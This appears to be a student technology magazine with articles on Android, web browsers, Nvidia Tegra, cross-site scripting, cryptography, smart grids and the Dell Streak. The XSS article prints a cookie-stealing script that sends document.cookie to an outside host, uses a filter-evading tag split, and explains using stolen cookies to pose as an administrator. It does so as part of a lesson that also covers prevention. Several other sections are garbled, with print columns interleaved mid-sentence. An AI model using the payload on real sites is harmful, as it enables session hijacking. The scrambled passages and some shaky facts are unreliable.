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In the Smartphone world once dominated by Microsofts Windows Mobile, Apples IOS & Googles Android have emerged as the dominant players today with Wall Street Journal Reports pegging their OS share to be 27% and 29% respectively. While IOS is a proprietary software based on Darwin(Hybrid) Unix type Kernel Android is an Open Source OS based on Linux (Monolithic) Kernel. Android's kernel was derived from Linux but has been tweaked by Google outside the main Linux kernel tree. Android was officially unveiled on 5 November 2007 with the introduction of the industry's first "Google-phone," the T-Mobile G1. The G1 was built by HTC, and at the time, it was fairly cutting edge and since then Google Releases updates and new features in successive versions. All versions are named after desserts. The present Stable version of Android is 2.2 aka Froyo with 3.0(Gingerbread) around

About the OS
Android Runtime Android has been programmed in C(core),C++(3rd party libraries) & Java(UI).It supports the Intel x86,ARM,MIPS & Power Architecture platforms.Android includes a set of core libraries that provides most of the functionality available in the core libraries of the Java programming language.

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The Android operating system software stack consists of Java applications running on a Java based object oriented application framework on top of Java core libraries running on a Dalvik virtual machine featuring JIT compilation. Dalvik is a specialized virtual machine designed specifically for Android and optimized for battery-powered mobile devices with limited memory and CPUThe present Android operating system consists of 12 million lines of code including 3 million lines of XML, 2.8 million lines of C, 2.1 million lines of Java, and 1.75 million lines of C++.The source code of Android Oss are available to OEMs and they are allowed to further tweak the OS. hardware and the rest of the software stack.The present build of Android is based on Linux Kernel 2.6.32 Android Libraries Android includes a set of C/C++ libraries used by various components of the Android system. These capabilities are exposed to developers through the Android application framework. Some of the core libraries are listed below:
System C library - a BSD-derived implementation

of the standard C system library (libc), tuned for embedded Linux-based devices Media Libraries - based on PacketVideo'sOpenCORE; the libraries support playback and recording of Linux Kernel many popular audio and video formats, as well as static image files, including MPEG4, H.264, MP3, AAC, AMR, Android relies on Linux version 2.6 for core system services such as security, memory management, proc- JPG, and PNG Surface Manager - manages access to the display ess management, network stack, and driver model. The subsystem and seamlessly composites 2D and 3D kernel also acts as an abstraction layer between the graphic layers from multiple applications.

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LibWebCore - a modern web browser engine

Browser The web browser available in Android is based on the open-source WebKit layout engine. With Froyo the browser is coupled with Chrome's V8 JavaScript engine which increases its performance 2x to 3x. It comes with support for Flash which is missing in IOS(considering 85% sites use Flash).The browser scores a 93/100 on the Acid3 Test. Tethering Support Android supports tethering, which allows a phone to be used as a wireless/wired hotspot (All 2.2 Froyo phones, unofficial on phones running 1.6 or higher via applications available in the Android Market, e.g. PdaNet). It is a huge advantage for people on the move, however it drains a lot of battery.Tethering only works over USB, not via Bluetoothand currently is supported by Windows 7,Windows Vista & Linux.Android creates an open hotspot and doesn't tell you which devices are connected to the hotspot, but for both tethering and hotspot.

which powers both the Android browser and an embeddable web view SGL - the underlying 2D graphics engine 3D libraries - an implementation based on OpenGL ES 1.0 APIs; the libraries use either hardware 3D acceleration (where available) or the included, highly optimized 3D software rasterizer FreeType - bitmap and vector font rendering SQLite - a powerful and lightweight relational database engine available to all applications The android platform is adaptable to larger, VGA, 2D graphics library, 3D graphics library based on OpenGL ES 2.0 specifications, and traditional smartphone layouts . Android employs SQLite, a lightweight relational database for data storage purposes. One of the major Advantage of Android over IPhone is that Android supports connectivity through various technologies including GSM/EDGE, IDEN, CDMA, EV-DO, UMTS, Bluetooth, WiFi, and WiMAX which makes it available to all Carriers. Android OS though made to suit only Smartphones , is currently powering Tablets like Dell Streak.

Features
Home Screens Android supports multiple home screens, with each one fully customizable. Widgets are present to accessorise the screen and many more can be downloaded and added.The bottom panel of Android has three soft buttons a simple multiscreen button to bring up your entire grid of installed applications, a Phone shortcut anda Browser icon.

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Multi-touch&Multitasking (in MP4 or 3GP container), MP3, MIDI, OggVorbis, WAV, JPEG, PNG, GIF, BMP. Support for additional codecs and containers can be added by installing apps like VLC

Android has native support for multi-touch and supports multitasking for all applications(3rd party also).This is a huge boon as one can stream a video in Messaging background through a 3rd party app while editing notes SMS,MMS& Email are available forms of messagin front. ing .Earlier builds of Android lagged to RIMs Blackberry Voice Controls OS due to the absence of Push Mail but with newer builds threaded text Android has Google search through Voice available as messaging was inSearch Input since initial release. Search has improved cluded and now Ana lot but still if oneasks for photos in a search, Google droid Cloud to Device will give web results with pictures in, but not image Messaging Framework results for the search. Since Froyo Android also sup(C2DM) is also a part ports voice based commands.It also supports Voice to of Android Push Mestext features and probably the best one available in saging service. Email smartphone OSs is supported through Videocalling Gmail & Microsoft ExThe mainstream Android version doesn't support video- change with support calling however since it is open source and the OS can for calendar and conbe tweaked by OEM, some handsets could have a cus- tact sync and some security options like using a numeric PIN or an alphatomized version of the operating system which supnumeric password to unlock your phone rather than a ports it (like the Samsung i9000 Galaxy S). gesture which makes it a buy for businesses. Java Support Android OSs UI has been programmed in Java. Android applications are also written in Java, there's no Java Virtual Machine in the platform and Java byte code is not executed. Java classes get recompiled into Dalvik executable and run on Dalvik virtual machine.. J2ME support can be provided via third-part-application such Media support as the J2ME MIDP Runner. The OS provides full java Android supports the following audio/video/still media support on Web as well.Android is really faster in frame formats: H.263, H.264 (in 3GP or MP4 container), MPEG rates and puts IPhone4 to shame. Frame Rates 0f 60 -4 SP, AMR, AMR-WB (in 3GP container), AAC, HE-AAC fps can be achieved in certain games.

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Streaming media support Android supports RTP/RTSP streaming (3GPP PSS, ISMA), HTML progressive download (HTML5). Adobe Flash Streaming (RTMP) is supported through Adobe Flash Player plugin. Apple HTTP Live Streaming is supported through third party media player (NextreamingNexPlayer). Microsoft Smooth Streaming is planned to be supported through the awaited port of Silverlight plugin to Android. Adobe Flash HTTP Dynamic Streaming is planned to be supported through an upgrade of the Flash plugin. phone book (PBAP), voice dialling and sending contacts between phones over Bluetooth Flash Support Android supports Flash with the latest supported version being 10.1.Froyo supports Flash in Web Browser also which means that you can finally surf to Flashenabled Websites without any errors popping up. Movies from Sites like Yahoo Movies can be streamed easily and even there is support for HD versions.Casual Flash games like those on the Kongregate site are very playable.For many games the touchscreen makes a good controller - better than pressing keys on a keyboard

Android Market Android Market is a catalogue of applications that can be downloaded and installed to target hardware overAndroid can use video/still cameras, touchscreens, the-air, without the use of a PC. The Android Market GPS, accelerometers, gyroscopes, magnetometers, proximity and pressure sensors, thermometers, ac- has over 100,000 Android applications for download. celerated 2D bit blits (with hardware orientation, scal- There are other markets, such as SlideME and Getjar, but Google's Android Market is the only one whose ing, pixel format conversion) and accelerated 3D downloader is installed on every Google Android graphics. phone.Many famous IPhone apps have also been ported Bluetooth to the Android Market. Downloaded Apps can be inIt Supports A2DP and AVRCP Bluetooth profiles.The stalled either in phone Memory or SD Card. OS has supports sending files (OPP) , accessing the Additional hardware support

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Camera Android has a well designedcamera app.Camera app allows geo-tagging, colourising the video,portrait orientation, zoom controls, access to exposure data, a thumbnail utility,setting the white balance or choosing the video quality (there are settings for MMS and YouTube as well as standard high and low quality). From

Froyo the new preview API doubles the frame rate from ~10FPS to ~20FPS. Galleries have a pinch-to-peek gesture, so that you can see what photos are inside of a gallery before you open it. Social Networking Android has built in official apps for social networking for Facebook, gtalk and Twitter.The setup of accounts in these apps isautomagical. Many more apps can be downloaded from the android market.

Shortcomings Android's still not all the way there. There are still too many buried features, hidden by menu button, and general complexities, like a separate email app for non-Gmail accounts, remain. Selecting text, while now possible in the Gmail app, is confusing. And the white-on-black interface for the dialler and contacts seems even more out of place now that messages and Gtalk use a lighter UI.Music streaming situation is pretty bad due to absence of a Music sore like Zune or itunes. The interface can be more sleeker and more graceful. It's so strange, in a way, that Android has the most impressive voice controls and speech-to-text of any phone out there, but basic things like copy-and-paste can feel as slippery as brain surgery on a snail. The problem extends to the Android Market. Sure, one day we might be pushing apps to the phone from our desktop, but app discoverability, particularly on the phone itself, is a long way from optimal.the touch keyboard still feels like you're typing with two fingers glued together.

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If web browsers were girls, I would be really happy. So many to choose from and all of them trying to get hold of me! Well, a few years back Internet Explorer had become the synonym of web browsing. But that was a few years back. Times have changed. Browser war 1.0 saw Microsofts IE emerging as a clear winner. Netscape navigator was literally vanished. But IEs domination over the browser market in no more. First the growth of Firefox and then the entrance of search giant Google into the world of browsers has done some serious damage to the popularity of IE. In fact, a time came when techies just seemed to hate IE. In the meantime Chrome gained a significant market share and Firefox continued to make more fans. But Microsoft made its move with the launch of IE 9, which was soon followed by the launch of Firefox 4. Plus Apples Safari and Opera browser are also there to make the web a better place. In short, there was never a better time for Web Browsing. The battle is still wide open. Welcome to browser wars 2.0
Here are the usage statistics of different browsers for 2011 :
(Source: w3schools.com)

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The Major Players: INTERNET EXPLORER:
User Interface:Following the footsteps of chrome IE9 wears a minimalist look. All the ugly toolbars are gone. Unlocking the beauty of Web-Thats how MS describes its new browser. It also has some new features like pinned sites and changing colors of back and forward buttons to match the web-pages.

Minimalist look of Internet Explorer 9 Performance: The Performance of IE 9, for sure, is better than the earlier versions but looks like it needs a long way to go before it matches Firefox and chrome.IE 9 has HTML 5 video support, the new Chakra JavaScript engine, CSS 3 support and GPU acceleration that definitely improves its performance. Even with all this the speed tests show that MS needs to do some more work to match the standards set by Firefox or Chrome.

GOOGLE CHROME:
User Interface: Chrome has had a minimalist UI right from the very start and this was one of the main features that made it stand out of the croud when it came into existence. By default, the main user interface includes back, forward, refresh, bookmark, go, and cancel buttons. The home button can be configured through options to take the user to the New Tab Page or a custom home page. Tabs are the primary component of Chrome's user interface and as such, have been moved to the top of the window rather than below the controls. Starting with Chrome 3.0 users can apply themes to change the look of their browser. Performance: The JavaScript virtual machine used by Chrome, the V8 JavaScript engine, has features such as dynamic code generation, hidden class transitions, and precise garbage collection. Google Chrome 9, which launched a few months back, is sporting 3D hardware acceleration, google instant search and a web-apps store.

MOZILLA FIREFOX:
User Interface: : Firefox 4 has a simple and clean Opera like UI. Personas the single click themes in Firefox distinguishes it from others. Like others, tabbed browsing has been an essential feature of Firefox but the newest version has a new feature of App-Tabs, which are essentially the tabs which never close. Plus Firefox 4 has better support for Typography.

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Performance:: Firefox 4 has significant performance improvements over Firefox 3.6. Support for

CSS 3 transitions and HTML 5, new and enhance JgerMonkey JavaScript engine, improved WebGL support and hardware acceleration. Firefox has a lot of awards in its name. It featured in PC worlds list of best 100 products for three consecutive years.score.

COMPARISONS:

Sunspider v0.9.1 Benchmark (lower is better)

Memory Usage: 40 tabs (lower is better)

*WebGL is a standard that is based on OpenGL ES that lets you perform 3D rendering on the web. * Hardware acceleration is offloading tasks that are typically handled by the software to the hardware wherever possible. In our scenario, we reduce the workload on our general purposes CPUs
much more parallel, and capable, GPUs handle specific computations, thus eking out better performance.

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Theres also a new player in the battlefield and the best thing about it is its INDIAN:

THE EPIC BROWSER :

On July 15, a Bangalore based company, Hidden Reflex launched Indias first browser. It is based on open source Mozilla platform. The UI of Epic is also quite fresh. The Browser has features specifically targeted at Indian users. Some of its main features are: Integrated virus protection powered by ESET. i.e. Free antivirus scanning and healing is built into Epic Support for 12 Indian languages including Hindi, Bangla, Punjabi, Marathi (otherwise Shiv Sena would have had problems browsing the web!) to name a few. It also supports transliteration for Arabic, Farsi/Pesian, Russian, and Greek. Epic has several preinstalled widgets such as social networking (Facebook, Orkut), chat clients (yahoo messenger) and email facilities integrated into the browser. Epic is currently available for Windows, though Linux and Mac versions are expected soon. A large number of themes. Most of them having Indian flavor. The first of its kind: widgets sidebar. Lets hope the epic browser makes an epic entry into this browser wars.

Popularity of Different Browsers:The graph below clearly indicates the growth of Firefox and Chrome.An year or so back Firefox seemed to be the favoritebut with the arrival of Google Chrome things began to change and just when we thought the game was over for IE, it seems to have gained a bit of ground with IE 9 but to stay in the competition Microsoft will have to continue to innovate likeMozilla. How newer versions of Firefox and Chrome perform is also something to be seen. Whoever wins this war, there was never a better time for browsing the web.

JATIN SHRIDHAR 1st Year, COE

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Nvidia TegraBreakthrough into the new realm

When someone told methat technology evolves faster than you can say it, I didnt believe him. Well, not till I experienced it. Heres how. Eight years back, I played Snake on a black-and-white Nokia handset and went WOW. A few weeks back, I saw a video of NFS Undercover being played on an Acer smartphone. This time, the reaction was W T F. Woah man; consumption and extreme performance. This setup is this thing was giving competition to the graphics that called the ARM Architecture. And trust me, the ARM I got on my PC! And thus, I said hullo to NVIDIA Tegra. is pretty muscular, too! Hearing it first time, most people would say, The Tegra series has two components: the Tegra Wazzat? NVIDIA to GeForce nahi hota?? Reason APX 2500 series, for smartphones, and the Tegra being, we all are faintly familiar with NVIDIAs Ge600/650 series, for mobile internet devices, i.e., Force series of graphic cards, which let us play our tablets, and GPS systems. Also, a new series, the beloved games on our desktops and lappies. But now, Tegra 250, with enhanced features, specially to cait seems, NVIDIA is hopping onto the mobile bandter to upcoming tablets, is being developed. wagon as well, with the new Tegra technology. This is a revolutionary concept, which basically enables any First up, we take a look at the Tegra ATX series. This mobile computing device to incorporate enormous one lends some serious weightage to the apparently potential in terms of media capabilities. Tegra is a so-light smartphones, but only in the metaphorical system-on-a-chip series, which integrates the CPU, sense. Here also, as weve been seeing in the PC GPU, Northbridge, Southbridge, and the Memory Con- over the years, NVIDIA hardware steps up to the next troller in a single small chip, resulting in low power level. . The processor is a normal ARM11 6ooMHz chip, with NAND flash RAM. The juice, however, is the graphics solution. This marvel provides fullfledged support for Direct3D, OpenGL 2.0, and shader programming. Whats more, it supports upto 12-MP camera, with 720pHD recording, and a baffling screen resolution of 1280X1024. Clear message to the rivals: BEAT THAT!

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The smartphones that run on Tegra are some heavy customers, to say the least. Microsoft Kin and MicroHold your breath, all you hardware junkies reading soft Kin 2, the Microsoft ZuneHD, and various special this. Eightindependent processors are present to edition smartphones from Acer and Asus, like the handle simple processing, HD video encoding and Asus Lamborghini decoding, web browsing, and special edition. 3D gaming. Plus, the first Well, onto the dual core CPU in mobile 600/650 series. technology. And, add to this, This is basically multiple days of battery the same hardlifewhat you get is a jaw ware, with an updropping mobile entertaingraded ARM 11 ment package in your hands. processor(800 NVIDIA has demonstrated MHz), same RAM, Unreal Engine 3 on the Temarginally higher gra, and it works flawlessly, resolution, and just like 1080p video support for WiFi. streaming, or graphicSounds the same, intensive web browsing. but well, the performance is awesome. This is used Hell, NVIDIA also worked with Opera, to develop Opin many GPS systems, and older netbooks and tab- era 9.5, optimized for the Tegra, for Windows Mobile lets. platform. Sweet. And ofcourse, Tegra is now compatible with Android as In January 2010, well. NVIDIA announced the new Tegra 250 We can expect this techseries, which would nology to be seen in action, lead the tablet revowhen Notion Ink come out lution in 2010. This with theirTegra 2 Tablet, gives the consumer a which is assumed to be the full desktop-like prime contender for browsing experience, knocking the iPad off its in a tablet. Courtesy perch, atop the tablet marthe enhanced 1080p ket. Rumour is that HTC, Toshiba, and MSI are also in video support, 3D touch interface, and immersive the fray, to develop their own Android based devices. gaming performance. All this, and can the hardware Well, time will tell. Saraj Munjal be far behind? Naah.

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CROSS- SITE SCRIPTING (XSS)

INTRODUCTION TO XSS :
There are basically two types of websites Dynamic websites, which are more enjoyable to the user with the help of web applications. And another are static websites which is basic and is also cheaper to host and develop.These dynamic websites suffer threat of cross-site scripting(XSS). The cross-site scripting attack is one of the most common security problems facing web developers today.The goal of the XSS attack is to steal the client cookies, or any other sensitive information, which can identify the client with the web site.Unlike most attacks, which involve two parties the attacker and the web site or the attacker and the victim client, the XSS attack involves three parties the attacker, a client and the web site.

WHAT IS XSS ?
Let us start with normal authentication process without any xss code injected first. For e.g. Let us consider we are making a gmail account. The password that has been created by the user is sent to the server. The server then sends back the cookie.So the next time he logs in, he is not identified by his password but by the cookie set by the server :

Now , let us try to understand the role of the hacker. The hacker injects an evil script such that the the cookie is not sent to the server but to the script which looks like server to the client. This is known as Cookie Stealing.However cookie stealing is one of the many implications of XSS attack.

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Now , let us try to understand the role of the hacker. The hacker injects an evil script such that the the cookie is not sent to the server but to the script which looks like server to the client. This is known as Cookie Stealing.However cookie stealing is one of the many implications of XSS attack.

The most common web components that fall victim to XSS vulnerabilities are CGI scripts,search engines,interactive bulletin boards etc. Following is the example of a embedded java script(highlighted por-

tion) injected in the url which will be executed on the user's browser!!. This will generate a popup showing the current set of cookies.

TYPES OF XSS :
There are basically two types of XSS. 1)Non- persistant (Reflected) Vulnerability : These type of injections are temporarily stored in the url.It is the most common type of vulnerability.These holes are generated when data provided by a web client is used immediately by server -side scripts to generate resultant page.

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The command above will redirect the page to another webpage which will be contaning script.php(that is our logging page) !! Now let us look upon the contents of this script page...

Once a cookie is stored, you can use softwares like Firefox Cookie Editor etc and can behave as an administrator !! 2)Persistant (Stored) Vulnerability : In these type, attacker saves the data ,which will be provided to the web application, in the server itself and later displayed to users without being encoded using HTML.Thus it allows powerful kind of attacks.

PREVENTION (ESCAPING AND FILTERING) :

There are few ways to prevent yourself from these attacks. Escaping is a technique used to ensure that characters are treated as data. Some of these techniques require special escape character and some involves several characters.

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Escaping simply lets the interpreter know that the data is not intended to be executed and thus prevents from attacks.Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS. Some of the counter measure which can be done by the web browsers is :
index.php?cat= <scr<script>ipt> document.location=http://example.be/script.php? id=+document.cookie; </script>

It removes the first script tag and a new script tag wil be revealed. Checking of site can be done manually or via automated web application tool. In both the methods, input to the variations is checked with as many variations possible. For e.g. It will check for the script already mentioned <script>alert(document.cookie)</script> This is only the simplest kind of script. Javascript could be inserted in various fields For e.g.,he can hide it inside an image <img src= javascript....: > As Cross Site Scripting is one of the most common application level attacks that hackers use to sneak into web applications today, thus it is necessary that an organization implement both an online and offline security strategy. This includes using an automated application vulnerability assessment tool.

- Sajal Chaudhary (COE ,2nd YEAR)

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Suppose you are working on a top secret government project and want to send the details of an important discovery to your boss. So, you attach the plain text to an email and send it to your boss. The next morning to your surprise, you find that the entire nation knows about it as a prying intelligent reporter got hold of the unencrypted plain text details and printed it on the front page of a leading newspaper. This is where cryptography comes in.

Cryptography is the process of converting recognizable data into an encrypted code for transmitting it over a network(either trusted or untrusted). Data is encrypted at the source i.e. senders end and decrypted at the destination i.e. receivers end.

TYPES OF CRYPTOGRAPHIC ALGORITHMS

SecretKey Cryptography (SKC): Uses a single key for both encryption and decryption PublicKey Cryptography (PKC): Uses one key for encryption and another for decryption Hash Functions: Uses a mathematical transformation to irreversibly "encrypt" information

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A cipher system that uses the same key to encipher and decipher a message is called a secret key cryptography. Because a single key is used for both functions, secret key cryptography is also called symmetric encryption. In this kind of cipher system the whole process is reversible.

With this form of cryptography, it is obvious that the key must be known to both the sender and the receiver; that, in fact, is the secret. The biggest difficulty with this approach, of course, is the distribution of the key. Secret key cryptography schemes are generally categorized as being either stream ciphers or block ciphers. Stream ciphers operate on a single bit (byte or computer word) at a time and implement some form of feedback mechanism so that the key is constantly changing. A block cipher is so-called because the scheme encrypts one block of data at a time using the same key on each block. In general, the same plaintext block will always encrypt to the same cipher text when using the same key in a block cipher whereas the same plaintext will encrypt to different cipher text in a stream cipher. STRENGTHS:
Much faster than asymmetric systems Hard to break if using a large key size

WEAKNESS:
Key distribution: It requires a secure mechanism to deliver keys properly Scalability: Each pair of users needs a unique pair of keys, so the number of keys grow exponentially. Limited security: It can provide confidentiality, but not authenticity or non repudiation.

The following are examples of symmetric key cryptography algorithms: Data Encryption Standard (DES), Triple DES (3DES), Blowfish, IDEA, etc.

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TechCorner PUBLIC KEY CRYPTOGRAPHY

Public-key cryptography has been said to be the most significant new development in cryptography in the last
300-400 years. Modern PKC was first described publicly by Stanford University professor Martin Hellman and graduate student Whitfield Diffie in 1976. Their paper described a two-key crypto system in which two parties could engage in a secure communication over a non-secure communications channel without having to share a secret key. In this cipher system, different keys are used for encrypting and decrypting messages.

Generic PKC employs two keys that are mathematically related although knowledge of one key does not allow someone to easily determine the other key. One key is used to encrypt the plaintext and the other key is used to decrypt the cipher text. The important point here is that it does not matter which key is applied first, but that both keys are required for the process to work. Because a pair of keys is required, this approach is also called asymmetric cryptography. The following outlines the strengths and weaknesses of asymmetric key systems:

STRENGTHS:

WEAKNESSES:

Better key distribution than symmetric systems Better scalability than symmetric systems Can provide confidentiality, authentication, and non repudiation

Works much slower than symmetric systems

The following are examples of asymmetric key algorithms: RSA, Elliptic Curve Cryptosystem (ECC), DiffieHellman, etc.

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HASH FUNCTIONS
Hash functions, also called message digests and one-way encryption, and are algorithms that, in some sense, use
no key . Instead, a fixed-length hash value is computed based upon the plaintext that makes it impossible for either the contents or length of the plaintext to be recovered. Hash algorithms are typically used to provide a digital fingerprint of a file's contents often used to ensure that the file has not been altered by an intruder or virus. Hash functions are also commonly employed by many operating systems to encrypt passwords. Hash functions, then, provide a measure of the integrity of a file.

One-Way Hashing Function

It is never performed in reverse. It provides integrity of a message, not confidentiality or authentication. The results of a one-way hash is a hashing value. It is used in hashing to create a fingerprint for a message.

WHY THREE ENCRYPTION TECHNIQUES?

So, why are there so many different types of cryptographic schemes? Why can't we do everything we need with just one? The answer is that each scheme is optimized for some specific application(s). Hash functions, for example, are well-suited for ensuring data integrity because any change made to the contents of a message will result in the receiver calculating a different hash value than the one placed in the transmission by the sender. Secret key cryptography, on the other hand, is ideally suited to encrypting messages, thus providing privacy and confidentiality. The sender can generate a session key on a per-message basis to encrypt the message; the receiver, of course, needs the same session key to decrypt the message. Asymmetric schemes can also be used for non-repudiation and user authentication; if the receiver can obtain the session key encrypted with the sender's private key, then only this sender could have sent the message. Public-key cryptography could, theoretically, also be used to encrypt messages although this is rarely done because secret-key cryptography operates about 1000 times faster than public-key cryptography.
Sanya Chawla (2nd Year Computer Engineering branch)

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We all are aware of the high rate at which energy is being used in the present world and if this continues then soon our earth will be exhausted of all its resources and energies and will no longer be a place worth living because of carbon emission. After reading this first line you must be thinking what at all this has to do with computers and technology. But technology finds a way to touch every aspect of life and find solutions to all such problems. Smart grid is an upcoming technology which is spreading like fire in all parts of the world. It is basically the power grid being used in a more efficient way. A smart grid delivers electricity from suppliers to consumers using digital technology with two-way communications to control appliances at consumers' homes to save energy, reduce cost and increase reliability and transparency. It overlays the electrical grid with an information and net metering system .It is basically a convergence of three sectors electric power, telecommunication infrastructure and information technology.

graphically it is noticeable that these units reach peaks at day time, also this electric energy can not be stored effectively at reasonable expense. So what we basically want is to cut off the peak of the bell curve which can be done by performing day time tasks at night. For instance if we take a washing machine or drier, then it can be set to start automatically at night say 2 o clock rather than at peak hours. One very important part of smart grid is the Advanced Metering Infrastructure(AMI) which has replaced the obsolete mechanical meters with advanced digital meters known as smart meters. In countries like Australia, USA and UK these have already come into use. Basically instead of the old Indian system in which some employee would come at the end of each month to take the meter reading, there would be a digital meter which would automatically send the readings time to time (say at an interval of 15min) to a server, through GSM card exactly the same way our mobiles communicate.
These meters are intelligent enough to enable time based electricity charges.

If we try and analyze then it is quite obvious that the There is a difference in the price of the electricity units used in the consumption of the number of units of electricity will be day time and the night time. The day time electricity is much more greater in the day time as compared to the night time so expensive as compared to that in the night this gives us another

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reason to use energy efficiently and use as many appliances as possible at night. A practice started in many countries is the production of energy at homes by setting up photovoltaic cells (solar cells) or wind mills or any such form of renewable source on roofs; this means that energy is itself produced by the citizens at their houses. This energy reading is also taken by the AMIs and thus either it is subtracted from the total bill or used in the same house. The AMI not only forms the bridge back to the utilitys operations and control center, but also to the network inside the home or building, referred to as the home area network (HAN), which is responsible for energy intake by all household equipments like refrigerators, dishwashers, lighting system and so on. Hence it has become easier to keep records of the energy consumed and produced in small areas and even large buildings, complexes or even cities. The figure above also shows a smart grid system in which the photovoltaic cells are producing electricity and the amount of electricity produced is recorded by the AMI, this energy is used internally at home or is exported out into the grid. The electricity produced by the photovoltaic cells is green energy produced without any kind of pollution. This in a nutshell is a basic smart grid i.e. a way in which various smart components can talk to each other. Now basically this industry is divided into three parts generation, distribution and transmission, and retail. Till now these were all under one category but now are being divided. Being a new technology many plans have been proposed in this direction of efficiently using energy which are not presently in use but all of them basically highlight the significance of the retailing department and how in the future the control might go to the retailers. The earliest, and still largest, example of a smart grid is the Italian system installed by Enel S.p.A. of Italy. After Italy this technology grew at a fast rate in Austin, USA and Ontario in Canada. Presently this technology has made its way in most of the parts of US and Australia and definitely has way to go. Moreover even in India this technology is growing fast and is expected to soon be a big topic of discussion for the media. AFTERALL A LITTLE EFFICIENCY GOES A LONG WAY.... and smart grid is not a destination but a journey whose effects are SHREYA MALIK definitely hoped to be seen in future. nd
( COE 2 Year )

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Since the first rumours many months back, to Michael Dell flashing his prototype in the street and then a few quiet appearances at trade shows, the Dell Streak has taken its time coming to market. Running Android(clair) on a broad, eye-catching 5-inch display, theres little like it on the market and its been an attention-grabber ever since.Well the first impression one gets is that whether it is a 5-screen smartphone masquerading as a tablet device or if its a small-form-factor tablet pretending to be a phone. Well folks at Dell claim it to be a voice capable tablet but still it feels like an oversized smartphone.. The iPhone has an unusual problem. Its UI is fast and smooth enough that you want to browse the web on it. However the device is cramped enough that you dont want use it for any serious web browsing. If youre just looking to quickly read something its ok but logging in to websites, or interacting with a more complex web app is just a pain on a screen that small - regardless of how fast the device is. Apples solution is to turn you toward apps, or sell you an iPad. HTC and Motorola provided an alternative: increase the screen size of their

smartphones. Dell took it one step further, and for some reason called it the Streak.Indeed, its real ace in the hole is where the lines are blurred into smartphone territory.

Specifications
Carrier: Tata DoCoMo OS: Android 1.6(soon an update to 2.2) Processor: 1 GHz Qualcomm Snapdragon (QSD

8250) RAM: 512 MB Storage: 2 GB built-in, plus 16 GB micro-SD (expandable to 32 GB) Display: 5-inch WVGA, 800480 pixels, Gorilla Glass Battery: Lithium Ion 1530 mAh Ports: 30-pin to USB Weight: 7.7 oz. Dimensions:6.0(h) x 3.1(w) x 0.4(d) inches Camera: 5.0 megapixel (rear) with autofocus; VGA front-facing Sensors: Accelerometer, GPS, e-compass Keyboard: 49-key virtual keyboard (including number pad) Networks: UMTS 850/1900/2100 MHz; GSM/EDGE 850/900/1800/1900 MHz; Wireless: Wi-Fi 802.11 b/g; Bluetooth 2.1 EDR Tethering: Not available

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Design
At 6 inches wide, 3.2 inches tall, and 0.35 inch thick, the Streak is about the size as a pocket Moleskin notebook. It breaks the norm for smartphone dimensions, yet it's nearly a third the size of Apple's iPad tablet. it slides quite nicely into a jeans pocket, so size wouldnt be a problem unless you are adamant on putting it in yourhippie-tight pants.It has plenty of gas in the tank, housing a Qualcomm Snapdragon 1GHz processor and 512 MB of RAM. In terms of design, it does favour the typical tablet layout with a landscape-based home screen interface rather than the upright layout seen on most full-touch screen smartphones. It feels very natural adopting a two-handed approach in landscape mode, letting the device rest between both palms. In terms of external controls, the front features a touch-sensitive panel featuring Back, Menu and Home buttons, each of which greet you with a pleasant haptic vibration upon contact. The 5-inch capacitive touch screen is covered in a seemingly indestructible Gorilla Glass, though the tapered edges to the left and right of it use a more conventional scratch-resistant plastic. These same edges also conceal three soft keys (back, menu and home), an earpiece, microphone, and a front-facing VGAresolution camera. On the flip side of the Streak you'll find a 5megapixel autofocus camera with an integrated LED flash. The camera is awkwardly placed, so your left hand tends to obscure the lens when holding the Streak in its prescribed landscape orientation. The back of the Streak also includes a small speaker grille at the edge of a large battery cover. Along with a removable, rechargeable battery, the Streak battery compartment also offers access to a SIM card slot and the included 16GB micro SD memory card.Slim buttons for volume, power, and camera mode run across the top edge of the Streak, along with a standard 3.5mm headphone jack .

Interface
The Dell Streak fits right in with today's superbly specced Android smartphones. It ships with Android 1.6 installed, which is a little antique compared to the snazzy Android 2.1 OS. Dell is promising an over-the-air update to Android 2.2 down the line, but until then, features such as multitouch gestures, multiple e-mail in-boxes, live wallpaper, and Flash video support, are out of reach.

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The tabs at the top of the screen (again, in landscape mode) are a great addition, and the second one along brings up shortcuts to all of your homescreens. The tab in the left hand corner brings up the Android menu, featuring all of your apps and widgets. The third tab along is for notifications, while the fourth offers connectivity options, alarms and battery life. Thanks to the 1GHz Snapdragon processor, moving between screens, opening applications, and indeed multitasking is extremely fast.The accelerometer is fast too, but the touchscreen doesn't quite have the overall fluidity of theiPad. The three touch-sensitive buttons on the right-hand side are perfectly placed and underpin the whole interface. The UI is sensible, with some fabulous touches the make this device a pleasure to use. thanks to the Nuance plug-in which is surprisingly very accurate.The calling experience is great, voices come through loud and crisply on the both the phone and loud speakers.

Internet
The category's convenience as a browsing device supersedes the awkward, shrunken experience of the smartphone, and is far more portable than the average laptop. The WebKit Android browser is still the best available for devices carrying the 1.6 operating system, with Mozilla's new Firefox for Android release only

Contacts and Calling

Adding Contacts from Gmail, Facebook & Outlook are easy with merge feature helpful in deleting repeated contacts. Next to each name are the methods of contact, enabling you to call, send email, texts or visit their Facebook without entering the actual contact page. Only problem is streaks inability to constantly render Facebook Pictures. Holding the Menu key brings up the keyboard, and you're able to scan for contacts that way.It's quite hard to be accurate with the scrolling as, although lightning fast, it doesn't boast nearly the same level of control or the same fluid experience that's available on the iPad and WP 7. The calling experience is as straightforward as on any other Android phone out there. Pressing the phone icon brings the dialpad to the right of the screen. On the left, is a list of your recently dialledcontacts. The Streak gets around the problem of wading through numerous contacts by offering Voice Dial calling functionality

available on Android 2.0 and above but Opera 5 is worth a try. The screen is large enough to have an eBook reader feel to it and adopting a one-handed approach and using the thumb to scroll though the page came naturally.

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Hitting the bookmark tab in the top right of the screen allows access to bookmarks, most visited pages and web history, while the Rooms tab offers access to the web windows you have open. Pinching to zoom works very well on the touchscreen but Dell could have done a bit more by incorporating Flash.

Camera

Messaging

The surprise package on the Dell Streak is the fantasDell Streak comes with text messaging (unlike iPad) & tic 5-megapixel camera with the dual flash. It certainly email facility. The keyboard has been modified by Dell not the best Android Cam but still does its job good. to suit up the 5 inch screen. Two-handed in landscape Pictures can be taken using the hard shutter button at is probably quickest for typing and offers the most the top of the phone or the touchscreen, but a single natural feel.The default keyboard predicts both the press on the shutter button produces a super-fast word youre trying to type as well as the next word auto focus before taking the picture.Pictures take a little while to complete the capture and return to shooting mode but the detailing in pictures is fine. Picture share options include Video is Facebook, Twitter, email and MMS as well as Flickr and Picasa.

